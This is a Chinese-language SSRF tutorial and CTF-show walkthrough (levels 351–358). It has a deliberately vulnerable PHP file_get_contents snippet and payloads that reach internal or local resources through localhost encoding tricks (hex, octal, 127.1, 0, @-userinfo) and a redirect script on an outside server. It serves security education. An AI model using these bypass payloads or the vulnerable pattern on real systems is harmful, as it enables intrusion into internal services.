用户须知
1.免责声明:本教程作者及相关参与人员对于任何直接或间接使用本教程内容而导致的任何形式的损失或损害,包括但不限于数据丢失、系统损坏、个人隐私泄露或经济损失等,不承担任何责任。所有使用本教程内容的个人或组织应自行承担全部风险。
免责声明 版权声明 QQ交流群
SSRF漏洞
知识引入
SSRF
服务器端请求伪造,是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。攻击目标是内网
服务器对用户提交的url没有进行过滤
漏洞危害
具体危害 |
---|
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的 banner 信息 |
2.攻击运行在内网或本地的应用程序(比如溢出) |
3..对内网 web 应用进行指纹识别,通过访问默认文件实现 |
4.攻击内外网的 web 应用,主要是使用 get 参数就可以实现的攻击(比如 struts2,sqli 等) |
5.利用 file 协议读取本地文件等 |
6.各个协议调用探针:http,file,dict,ftp,gopher 等 |
找漏洞思路-黑盒
一.从web功能看
在线翻译网站,可能会访问你输入的链接,尝试一下
给网站一个地址,它会加载图片,间接说明它有访问其它网站的能力
定义:通过url
地址把原地址网站调优,使其适用手机屏幕观看
转码时候,间接访问了外部
共同点
网站有访问外部的功能
二.从url关键字寻找
share、wap、url、link、src、source、target、display 等
找漏洞思路-白盒
一.相关函数
在 PHP 中的 curl(),file_get_contents(),fsockopen()等函数是几个主要产生 ssrf 漏洞的函数
二.简单复现
写一个1.php文件功能是接受url,并将它给一个变量,然后打印出来
<?php
$url=$_GET['url'];
$content=file_get_contents($url);
echo $content;
?>
<<< 左右滑动见更多 >>>
用其他客户机访问,可以看到有访问外部的功能,并且读取了D盘下的文件
防御手段
1、限制请求的端口只能为 Web 端口,只允许访问 HTTP 和 HTTPS 的请求。
2、限制不能访问内网的 IP,以防止对内网进行攻击
3、屏蔽返回的详细信息
CTF-WEB入门
351关
<<< 左右滑动见更多 >>>
post
提交数据,修改可以用bp
,也可以用hackbar
如果不知道有什么文件,可以用目录扫描工具扫描
url=http://www.baidu.com
url=http://127.0.0.1/flag.php
352关
可以将127进行16进制转换,也可以大小写
16进制
用电脑表示就是0x7F
url=http://0x7F.0.0.1/flag.php
如果16进制被过滤,那就别的进制
八进制:url=http://0177.0.0.1/flag.php
353关
还是进制绕过
url=http://0x7F.0.0.1/flag.php
354关
将域名解析到127.0.0.1
url=http://flag./flag.php
355关
既然<=5,那就直接127.1
url=http://127.1/flag.php
356关
url=http://0/flag.php
357关
url=http://127.0.0.1
失败
url=http://www.baidu.com
成功
说明只能访问外部地址
只能加载外部地址,所以我们在自己的云服务器上进行重定向
服务器端
sudo su
cd /var/www/html
vim 2.php
<?php
header('Location:http://127.0.0.1/flag.php');
然后再访问自己服务器这个文件
url=http://43.139.71.196/2.php
url=http://43.139.71.196/2.php
358关
<<< 左右滑动见更多 >>>
url=http://ctf.@127.0.0.1/flag.php#show